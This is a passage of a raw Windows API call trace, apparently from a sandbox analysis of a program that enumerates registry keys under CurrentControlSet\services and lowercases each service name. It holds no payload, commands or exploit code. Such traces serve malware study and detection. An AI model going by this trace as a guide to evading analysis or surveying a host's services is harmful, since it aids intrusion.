(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.755] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.755] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0234.755] RegCloseKey (hKey=0x150) returned 0x0 [0234.755] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0234.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0234.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.757] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.757] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.757] RegCloseKey (hKey=0x154) returned 0x0 [0234.757] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.757] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0234.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0234.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0234.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.761] WideCharToMultiByte (in: 